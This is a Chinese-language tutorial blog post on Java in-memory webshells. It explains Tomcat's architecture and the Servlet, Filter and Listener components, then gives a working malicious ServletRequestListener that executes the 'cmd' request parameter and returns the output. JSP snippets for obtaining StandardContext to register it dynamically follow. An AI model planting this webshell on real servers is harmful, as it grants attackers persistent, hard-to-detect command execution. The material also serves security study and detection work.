本文最后更新于:2022年9月12日 上午
内存马学习之Java内存马 Java内存马介绍 内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。
Java内存马原理 Java内存马为Webshell脚本类内存马,其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。
为了彻底搞明白Java内存马究竟是怎么回事,这里我们先介绍一下Tomcat的基本架构,从基本架构出发,我们能够更好的理解Java内存马的来源。
Tomcat架构学习 Tomcat简介 Tomcat 是由Apache软件基金会属下Jakarta项目开发的Servlet容器,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
Tomcat架构
Tomcat架构采用类似于俄罗斯套娃的设计方式。换句话说就是一个容器包含一个容器,而这个被包含的容器反过来再包含别的实体。Tomcat将Engine,Host,Context,Wrapper统一抽象成容器(Container)。一个抽象的容器模块可以包含各种服务。
容器组件
Server组件:Server是最顶级的组件,一个Tomcat对应一个Server,Server代表tomcat的运行实例,其中包含Listener组件用以监听生命周期中的各种事件;包含Global Naming Resources组件用以集成JNDI;包含Service组件用以提供服务。
Service组件:Service是服务的抽象,代表请求从接受到处理的所有组件的集合;Server组件可以包含多个Service组件;包含Connector组件用以接收客户端的信息;包含Engine组件用以处理请求;包含Executor用以提供线程池执行任务。一个Service包含多个connector(接受请求的协议),和一个container(容器),多个connector共享一个container容器。
Connector组件:负责接受客户端连接并接受信息报文,解析不同协议及io方式。包含Mapper组件对请求地址进行路由;包含CoyoteAdaptor组件用以将Connector组件和Engine等容器组件适配;
Executor组件:线程池
Engine组件:Servlet引擎,container容器中顶层的容器对象,用来管理多克虚拟站点,包含Listener组件用以在生命周期中对Engine相关的事件进行监听;包含AccessLog组件以记录访问日志;包含Cluster组件以提供集群功能,将需要共享的数据同步到集群中的其他Tomcat实例中;包含Pipeline组件用以处理请求;包含Realm组件用以提供安全权限功能。一个Service最多只有一个Engine,但一个engine可以包含多个host主机。
Host组件:代表一个虚拟主机,或者说一个站点,可以给Tomcat配置多个虚拟主机地址,而一个虚拟主机下可包含多个Context。Host包含Listener组件用以在生命周期中对Host相关的事件进行监听;包含AccessLog组件以记录访问日志;包含Cluster组件以提供集群功能,将需要共享的数据同步到集群中的其他Tomcat实例中;包含Pipeline组件用以处理请求;包含Realm组件用以提供安全权限功能。一个host对应一个网络域名,一个host包含多个context。
Context组件:Web应用抽象,Web应用部署tomcat后会转换为Context对象;包含了各种静态资源、若干Servlet(Wrapper容器)以及各种其他动态资源。contest表示一个Web应用,一个web应用可包含多克Wrapper
Mapper组件用以作为路由映射Servlet。
Wrapper组件:表示一个Servlet,负责管理整个Servlet的生命周期,包括装载、初始化、资源回收等;包含Web应用开发常用的Servlet组件;包含ServletPool组件用以存放Servlet对象。web应用中的servlet会被包装成一个wrapper。
可以用一张图来表示请求在Container中的解析过程:
Tomcat将请求路由到具体的Serclet的过程是交给Mapper组件来完成的。Mapper组件里面会保存着Tomcat应用的各种配置信息,例如Host域名、Context路径等。
1 2 3 4 1. 根据请求协议各端口号路由到相应的Service,找到Service对应唯一的Engine容器。2. 更与域名地址找到相应的Host容器。3. 根据URL路径匹配某一个Context组件。4. 最后根据URL匹配到某一个Wrapper ,也就是Servlet。
JavaWeb三大组件 Servlet组件 Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestServlet对象并发送到对应的Servlet上处理。
Servlet组件有javax.servlet.Servlet
类实现,由init
、getServletConfig
、service
、getServletInfo
,destory
方法构成。
Servlet的生命周期 Servlet的生命周期分如下五个阶段
加载:当Tomcat第一次访问Servlet时,Tomcat会负责创建Servlet的实例
初始化:Tomcat创建Servlet后,调用init()
方法初始化对象
服务:当浏览器访问Servlet时,Servlet会调用service()
处理请求
销毁:当Tomcat关闭时或检测到Servlet从Tomcat删除时会调用destory()
方法。
卸载:当Servlet调用完destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
为了简化操作,Tomcat帮我们封装了javax.servlet.http.HttpServlet
类,其中包括doGet
、doPost
等方法。对于简单的HTTP请求,我们只需要重载响应的方法即可,例如get方法重载doGet()
。
Servlet样例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package example.demo;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet("/password") public class Login extends HttpServlet { private String message; public void init () { message = "欢迎登陆" ; } public void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); PrintWriter printWriter = resp.getWriter(); printWriter.write("<pre><h3>" ); String method = req.getMethod(); printWriter.write("method:" + method); printWriter.write("\n" ); String contextPath = req.getContextPath(); printWriter.write("contextPath:" + contextPath); printWriter.write("\n" ); StringBuffer url = req.getRequestURL(); printWriter.write("url:" + url.toString()); printWriter.write("\n" ); String uri = req.getRequestURI(); printWriter.write("uri:" + uri); printWriter.write("\n" ); String queryString = req.getQueryString(); printWriter.write("queryString:" + queryString); printWriter.write("\n" ); printWriter.write(message); printWriter.write("</h3></pre>" ); } public void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); resp.getWriter().write("Post方法" + message); } }
上述代码在/password
路径中创建了名为Login
的Servlet,项目名称为webapp,访问http://localhost:8080/webapp/password
,成功调用doGet
方法。
值得注意的是 ,在代码中我们使用了@WebServlet("/password")
注解进行Servlet注册,对Servlet进行路由绑定,任何访问password
的请求都将传递给Login
类进行处理。当然@WebServlet
是servlet3.0以后支持的方式,如果servlet低于3.0,我们仍然需要使用web.html进行配置,为了与上面区分,下面的web.html
将/Login
的路径绑定至Login类上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <display-name > Archetype Created Web Application</display-name > <welcome-file-list > <welcome-file > index.html</welcome-file > <welcome-file > index.htm</welcome-file > <welcome-file > index.jsp</welcome-file > <welcome-file > default.html</welcome-file > <welcome-file > default.htm</welcome-file > <welcome-file > default.jsp</welcome-file > </welcome-file-list > <servlet > <servlet-name > Login</servlet-name > <servlet-class > example.demo.Login</servlet-class > </servlet > <servlet-mapping > <servlet-name > Login</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > </web-app >
tomcaturl访问http://localhost:8080/webapp/password
过程如下图所示:
ServletConfig ServletConfig就是Servlet的配置参数对象,每个Servlet都有一个专属的ServletConfig,负责在初始化时将当前Servlet的配置传递给Servlet,简单来说,ServletConfig就是当前Servlet在web.xml中的配置信息,可以使用getServletConfig()
获得当前Servlet的ServletConfig对象。
主要方法
1 2 3 getServletName () 获取Servlet的别名servlet-name的值getInitParameter ("" ) 获取当前Servlet的初始化值init-paramgetServletContext () 获取ServletContext对象
测试样例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package example.demo;import javax.servlet.ServletConfig;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet("/password") public class Login extends HttpServlet { private String message; public void init () { message = "欢迎登陆" ; } public void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); PrintWriter printWriter = resp.getWriter(); printWriter.write("<pre><h3>" ); ServletConfig servletConfig = getServletConfig(); String name = servletConfig.getServletName(); printWriter.write("Servlet的名称是" +name); printWriter.write("\n" ); String arg1 = servletConfig.getInitParameter("arg1" ); printWriter.write("arg1:的值为" +arg1); printWriter.write("</h3></pre>" ); } public void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); resp.getWriter().write("Post方法" + message); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <display-name > Archetype Created Web Application</display-name > <welcome-file-list > <welcome-file > index.html</welcome-file > <welcome-file > index.htm</welcome-file > <welcome-file > index.jsp</welcome-file > <welcome-file > default.html</welcome-file > <welcome-file > default.htm</welcome-file > <welcome-file > default.jsp</welcome-file > </welcome-file-list > <servlet > <servlet-name > Login</servlet-name > <servlet-class > example.demo.Login</servlet-class > <init-param > <param-name > arg1</param-name > <param-value > Servlet_login</param-value > </init-param > </servlet > <servlet-mapping > <servlet-name > Login</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <context-param > <param-name > arg2</param-name > <param-value > Servlet-Global</param-value > </context-param > </web-app >
ServletContext ServletContext是一个全局的存储信息的空间,可以理解为全局变量,一个Web工程内只有一个ServletContext对象实例,是一个域对象。任何ServletConfig都可以通过servletConfig.getServletContext()
获得ServletContext对象。同样的ServletContext对象也可以在web.xml设置上下文初始化参数。
主要方法
1 2 3 getContextPath () 获得当前工程路径,/工程路径getRealPath ("/" ) 获得工程部署后在服务器硬盘上的绝对路径getInitParameter ("" ) 获得web.xml配置的全局上下文参数context-param
测试样例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package example.demo;import javax.servlet.ServletConfig;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet("/password") public class Login extends HttpServlet { private String message; public void init () { message = "欢迎登陆" ; } public void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); PrintWriter printWriter = resp.getWriter(); printWriter.write("<pre><h3>" ); ServletConfig servletConfig = getServletConfig(); String name = servletConfig.getServletName(); printWriter.write("Servlet的名称是" +name); printWriter.write("\n" ); String arg1 = servletConfig.getInitParameter("arg1" ); printWriter.write("arg1:的值为" +arg1); printWriter.write("\n" ); ServletContext servletContext = servletConfig.getServletContext(); String arg2 = servletContext.getInitParameter("arg2" ); printWriter.write("arg2:的值为" +arg2); printWriter.write("</h3></pre>" ); } public void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); resp.getWriter().write("Post方法" + message); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <display-name > Archetype Created Web Application</display-name > <welcome-file-list > <welcome-file > index.html</welcome-file > <welcome-file > index.htm</welcome-file > <welcome-file > index.jsp</welcome-file > <welcome-file > default.html</welcome-file > <welcome-file > default.htm</welcome-file > <welcome-file > default.jsp</welcome-file > </welcome-file-list > <servlet > <servlet-name > Login</servlet-name > <servlet-class > example.demo.Login</servlet-class > <init-param > <param-name > arg1</param-name > <param-value > Servlet_login</param-value > </init-param > </servlet > <servlet-mapping > <servlet-name > Login</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <context-param > <param-name > arg2</param-name > <param-value > ServletContext</param-value > </context-param > </web-app >
Filter组件 Filter组件是运行在服务端的组件,主要功能是对客户端访问资源的过滤,不符合条件的拦截,符合要求的资源使用FilterChain.doFilter()
放行,并且可以对访问的目标资源访问前后进行逻辑处理。
每个过滤器在客户端向服务器发送请求时进行一次过滤,在服务器向客户端响应时进行一次过滤。一个Servlet可以设置多个Filter,Filter之间按照一定顺序构成调用链,优先级高的先进行调用,每个Filter使用FilterChain接口将处理后的资源传递,其doFIiter()方法用于将本Filter处理完的Servlet资源交给下一个Filter处理,最终交付给Servlet进行响应,Filter调用过程如下图所示:
Filter生命周期 Filter生命周期与Servlet一样,Filter的创建和销毁也是由WEB服务器负责。
初始化阶段:init(FilterConfig),只会在web应用启动时调用
拦截和过滤阶段:doFilter(ServletRequest, ServletResponse, FilterChain),完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
销毁阶段:destory(),销毁Filter,只会在当web应用移除或服务器停止时才调用一次来卸载Filter对象
Filter示例 Filter_memshell.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package example.demo;import javax.servlet.*;import java.io.IOException;import java.io.PrintWriter;public class Filter_memshell implements Filter { private String message; @Override public void init (FilterConfig filterConfig) throws ServletException { message = "调用 Filter_mem" ; } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { response.setContentType("text/html;charset=UTF-8" ); PrintWriter printWriter = response.getWriter(); printWriter.write("<pre><h3>" ); printWriter.write(message); printWriter.write("\n" ); chain.doFilter(request,response); } @Override public void destroy () { } }
Filter_2.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package example.demo;import javax.servlet.*;import java.io.IOException;import java.io.PrintWriter;public class Filter_2 implements Filter { private String message; @Override public void init (FilterConfig filterConfig) throws ServletException { message = "调用 Filter_2" ; } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { response.setContentType("text/html;charset=UTF-8" ); PrintWriter printWriter = response.getWriter(); printWriter.write(message); chain.doFilter(request,response); } @Override public void destroy () { } }
web.xml
我们在配置url-pattern配置时,有三种写法:
精确匹配:/Login
目录匹配:/aaa/bbb/*
扩展名匹配:*.abc,*.jsp
值得注意的是 ,url-pattern也可以使用servlet-name代替,此时Filter会与Servlet绑定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <display-name > Archetype Created Web Application</display-name > <welcome-file-list > <welcome-file > index.html</welcome-file > <welcome-file > index.htm</welcome-file > <welcome-file > index.jsp</welcome-file > <welcome-file > default.html</welcome-file > <welcome-file > default.htm</welcome-file > <welcome-file > default.jsp</welcome-file > </welcome-file-list > <servlet > a <servlet-name > Login</servlet-name > <servlet-class > example.demo.Login</servlet-class > <init-param > <param-name > arg1</param-name > <param-value > Servlet_login</param-value > </init-param > </servlet > <servlet-mapping > <servlet-name > Login</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <context-param > <param-name > arg2</param-name > <param-value > ServletContext</param-value > </context-param > <filter > <filter-name > Filter1</filter-name > <filter-class > example.demo.Filter_memshell</filter-class > </filter > <filter-mapping > <filter-name > Filter1</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <filter > <filter-name > Filter2</filter-name > <filter-class > example.demo.Filter_2</filter-class > </filter > <filter-mapping > <filter-name > Filter2</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > </web-app >
当然,对于注册Filter,我们也可以使用@WebFilter()
注解实现,上述web.xml可以简写为:
1 2 3 @WebFilter(filterName = "Filter_memshell" , urlPatterns = "/Login" )
Filter执行顺序 filter执行顺序是由filter注册时优先级决定,与Servlert类似,Filter也存在两种注册方式。
基于注解配置:按照类名的字符串比较规则比较,值小的先执行
基于web.xml配置:根据对应的Mapping的顺序组织,定义在上面先执行。
FilterConfig 与Servlet类似,Filte同样存在FilterConfig存储基本配置信息,不同的是Filer只能在init
方法参数中获取。
主要方法
1 2 3 4 getFilterName () 获得Filter的名字filter -name的内容getServletContext () 获得ServletContext对象getInitParameter ("" ) 获取在Filter中配置的init-param初始化参数getInitParameterNames () 获取在Filter中配置的初始化参数的名称
Listener组件 Listener是Listener监听器,用于监听一个方法或属性,当被监听的方法被调用或者属性改变时,通过回调函数,反馈给客户(程序)。
监听器的分类
事件源
监听器
描述
ServletContext
ServletContextListener
用于监听 ServletContext 对象的创建与销毁过程
HttpSession
HttpSessionListener
用于监听 HttpSession 对象的创建和销毁过程
ServletRequest
ServletRequestListener
用于监听 ServletRequest 对象的创建和销毁过程
ServletContext
ServletContextAttributeListener
用于监听 ServletContext 对象的属性新增、移除和替换
HttpSession
HttpSessionAttributeListener
用于监听 HttpSession 对象的属性新增、移除和替换
ServletRequest
ServletRequestAttributeListener
用于监听 HttpServletRequest 对象的属性新增、移除和替换
HttpSession
HttpSessionBindingListener
用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件
HttpSession
HttpSessionActivationListener
用于监听 HttpSession 中对象活化和钝化的过程
根据监听对象的不同可以划分为三类:
ServletContextListener:服务器启动和终止时触发
HttpSessionListener:有关Session操作时触发
ServletRequestListener:访问服务时触发
ServletContextListener使用示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package example.demo;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.annotation .*;@WebListener public class Listener_memshell implements ServletContextListener , HttpSessionListener , HttpSessionAttributeListener { @Override public void contextInitialized(ServletContextEvent sce) { System.out .println("ServletContext对象创建了!" ); } @Override public void contextDestroyed(ServletContextEvent sce) { System.out .println("ServletContext对象销毁了!" ); } }
当启动Tomcat时,Servlet被创建;Tomcat结束时,Servlet被销毁。
三个组件启动顺序 tomcat启动时,三大组件的启动顺序为Listener->Filter->Servlet
,在org.apache.catalina.core.StandardContext
类的startInternal()
方法中,依次调用了listenerStart()
,filterStart()
,loadOnStartUp()
分别对应Listener,Filter,Servlet。
参考连接 tomcat整体架构
Tomcat 主要组件(让你熟练运用)
javaweb三大组件
JavaEE–JavaWeb三大组件Servlet、Filter、Listener
Tomcat内存马 在介绍Tomcat内存马之前,我们首先介绍一下jsp的语法,因为Tomcat是默认支持jsp语言的,而我们的内存马也是通过jsp脚本注入的。
JSP入门 JSP实现原理及简单语法 tomcat内置jsp的一个servlet,会将*.jsp
转换为java代码,从而编译为.class
文件运行,同时jsp也可以获取到服务器的网络请求并作出相应的响应。
1 2 3 4 5 6 7 8 9 <% java代码 %> <% out.println("hi" ); System.out.println("hi" ); %>
1 2 3 4 5 6 7 8 9 10 11 12 <%! 定义变量、函数%> <%! int a = 0 ; public void func () { System.out .println("hi" ); } %>
1 2 3 4 5 输出脚本 <% =java表达式% > 输出脚本可以输出带有返回值的函数,输出脚本不能加分号 <% ="hello world" % >
1 2 3 注释 <%-- --%> 不会发送到浏览器 会发送到浏览器
1 2 3 4 5 6 7 8 9 10 11 jsp指令,用来设置于整个jsp页面相关的属性,共有三个,如下 <%@ page ...%> 定义页面的依赖属性,比如脚本语言、error 页面 <%@ include ...%> 包含其他文件 <%@ taglib ...%> 引入标签库的定义,可以是自定义标签 page指令语法格式 <%@ page attr1="value1" attr2="value2" %> include指令语法格式 <%@ include file ="file_path" %> 静态包含 taglib指令 <%@ taglib uri="外部标签库路径" prefix="前缀" %>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 动作标签 语法<jsp:action_name attr ="value" /> 动作标签指jsp页面在运行期间的命令 1.include 语法:<jsp:include page ="相对url地址" /> <jsp:include>动作元素会将外部文件输出结果包含在jsp中,动态包含 2.useBean 语法:<jsp:useBean id ="对象名字" class ="package.className" /> jsp:useBean动作用来加载一个将在jsp页面中使用的javabean 3. setProperty 设置属性值 4.getProperty 取属性值 示例 <jsp:useBean id ="user" class ="com.qf.entity.User" /> <jsp:setProperty name ="user" property ="username" value ="tom" /> <jsp:getProperty name ="user" property ="username" /> 5.forward 语法:<jsp:forward page ="相对url地址" > 将请求转向另外的页面 6.param 语法:<jsp:param name ="" value ="" > 在转发动作内部使用,做参数传递
JSP内置对象、四大域对象 JSP内置对象
由jsp自动创建的对象,可以直接使用,共有9个
request、response、session、application、config、exception、out、pageContext、page
四大域对象
jsp由四大作用域对象,存储数据和获取数据的方式一样,不同的是取值的范围有差别
pageContext 当前jsp页面范围,一旦跳转则失效。用于获取其他8个内置对象
request 一次请求有效
session 一次会话有效(关闭浏览器失效)
application 整个web应用有效(服务器重启或关闭失效)
pageContext还可以操作其他作用域,向其他作用域存值和取值
1 2 3 4 5 6 7 8 9 <% pageContext.setAttribute("page" , "a" ); pageContext.setAttribute("req" , "b" , PageContext.REQUEST_SCOPE); pageContext.setAttribute("sess" , "c" , PageContext.SESSION_SCOPE); pageContext.setAttribute("app" , "d" , PageContext.APPLICATION_SCOPE); String req = (String) pageContext.getAttribute("req" , PageContext.REQUEST_SCOPE); String sess = (String) pageContext.getAttribute("sess" , PageContext.SESSION_SCOPE); String app = (String) pageContext.getAttribute("app" , PageContext.APPLICATION_SCOPE); %>
JavaWeb 基本流程 与php内存马不同的是,Java内存马并不是死循环创建文件的笨办法,但很类似,首先我们先来了解一下JavaWeb的基本组件。通常运行Java的web容器是tomcat,这里以tomcat为例,客户端与服务器(tomcat)交互流程如图所示:
客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求中做手脚,在内存中修改已有的组件或者动态注册 一个新的组件,插入恶意的shellcode,就可以达到我们的目的。动态注册 技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态注册添加内存马的方式适合Tomcat7.x以上版本。
按照shellcode的具体位置,就有
listener内存马
filter内存马
Servlet内存马
maven配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > com.example</groupId > <artifactId > demo</artifactId > <version > 1.0-SNAPSHOT</version > <packaging > war</packaging > <name > demo Maven Webapp</name > <url > http://www.example.com</url > <properties > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <maven.compiler.source > 1.7</maven.compiler.source > <maven.compiler.target > 1.7</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.11</version > <scope > test</scope > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.55</version > </dependency > </dependencies > <build > <sourceDirectory > src/main/java</sourceDirectory > <resources > <resource > <directory > src/main/resources</directory > </resource > </resources > <outputDirectory > $ {basedir} /target/webapp/WEB-INF/classes</outputDirectory > <finalName > demo</finalName > <pluginManagement > <plugins > <plugin > <artifactId > maven-clean-plugin</artifactId > <version > 3.1.0</version > </plugin > <plugin > <artifactId > maven-resources-plugin</artifactId > <version > 3.0.2</version > </plugin > <plugin > <artifactId > maven-compiler-plugin</artifactId > <version > 3.8.0</version > </plugin > <plugin > <artifactId > maven-surefire-plugin</artifactId > <version > 2.22.1</version > </plugin > <plugin > <artifactId > maven-war-plugin</artifactId > <version > 3.2.2</version > </plugin > <plugin > <artifactId > maven-install-plugin</artifactId > <version > 2.5.2</version > </plugin > <plugin > <artifactId > maven-deploy-plugin</artifactId > <version > 2.8.2</version > </plugin > </plugins > </pluginManagement > </build > </project >
Listener型内存马 listenre顾名思义,监听某一事件的发生,状态改变等,监听器可以监听资源的变化,简单说就是在 application
,session
,request
三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。
请求网站的时候,程序会先执行listener监听器的内容,tomcat三大组件执行顺序:Listener->Filter->Servlet。Listerner的优先级是相对比较高的,因此可以利用Listener组件注册内存马。Listener类型包括一下三种:
ServletContextListener:服务器启动和终止时触发
HttpSessionListener:有关Session操作时触发
ServletRequestListener:访问服务时触发
最适合做内存马的当然是SercletRequestListener,只要访问服务或网络请求,都会触发监听器,从而执行ServletRequestListener#requestInitialized()
,接下来,我们在服务器后端写一个恶意监听器。
恶意Listener监听器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package example.demo;import jdk.nashorn.internal.ir.RuntimeNode;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.annotation.*;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;@WebListener public class Listener_memshell implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd" ); if (cmd != null ){ try { Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request) requestF.get(req); Response response = (Response) request.getResponse(); InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); response.setContentType("text/html;charset=UTF-8" ); response.getWriter().write("Listener_memshell 被执行\n" ); int len; while ((len = bins.read()) != -1 ) { response.getWriter().write(len); } } catch (IOException e){ e.printStackTrace(); } catch (NullPointerException n){ n.printStackTrace(); } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
访问任意路由都可触发命令执行。
当然,这是我们直接在服务器后端生成的Listener,在实际利用中我们不可能直接在服务器上添加Listener,大多数情况,我们都是先通过文件上传等方式获得任意代码执行的权限,之后通过执行代码的形式向服务器中添加Servlet,接下来我们详细介绍一下如何通过任意代码执行向服务器中植入Listener内存马。
动态注册Listener流程 在实际生活中,我们不可能直接将恶意Listener类部署到服务器上,因此我们需要找到,服务器是添加Listener的具体过程,手动调用添加Listener,从而注入内存马。在requestInitialized()
处下断点,查看其调用栈。
通过调用连可以发现,Tomcat在StandardContext#fireRequestInitEvent
处调用了我们的恶意Listener。
而恶意Listener存储在instances,由StandardContext#getApplicationEventListeners
获取,继续跟进StandardContext#getApplicationEventListeners
。
getApplicationEventListeners
调用applicationEventListenersList.toArray()
,而applicationEventListenersList
是定义在StandardContext
的私有数组,因此我们的目标就变成了如何在applicationEventListenersList
数组中添加我们的恶意Listener。
继续向下寻找,我们会找到StandardContext#addApplicationEventListener
方法,注释表明该方法用于添加一个监听器,由此可知,我们只需要获得一个StandardContext
对象,然后调用addApplicationEventListener
即可添加我们的恶意Listener。
现在,我们可以直到动态注册Listener内存马基本步骤了:
1.编写恶意Listener监听器。
2.获取StandardContext。
3.动态注册恶意Listener监听器。
构造Listener内存马 编写恶意Listener监听器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <%! public class Listener_memshell implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd" ); if (cmd != null ){ try { Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request) requestF.get(req); Response response = (Response) request.getResponse(); InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); response.setContentType("text/html;charset=UTF-8" ); response.getWriter().write("Listener_memshell 被执行\n" ); int len; while ((len = bins.read()) != -1 ) { response.getWriter().write(len); } } catch (IOException e){ e.printStackTrace(); } catch (NullPointerException n){ n.printStackTrace(); } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } } } @Override public void requestDestroyed (ServletRequestEvent sre) { } } %>
获得StandardContext对象 在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类,我们可以模仿其获取方法获取StandardContext
对象。
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ) reqF.setAccessible(true) Request req = (Request) reqF.get(request) StandardContext context = (StandardContext) req.getContext() %>
此外,还有一些其他方法获取StandardContext
对象。
1 2 3 4 <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader() StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext() %>
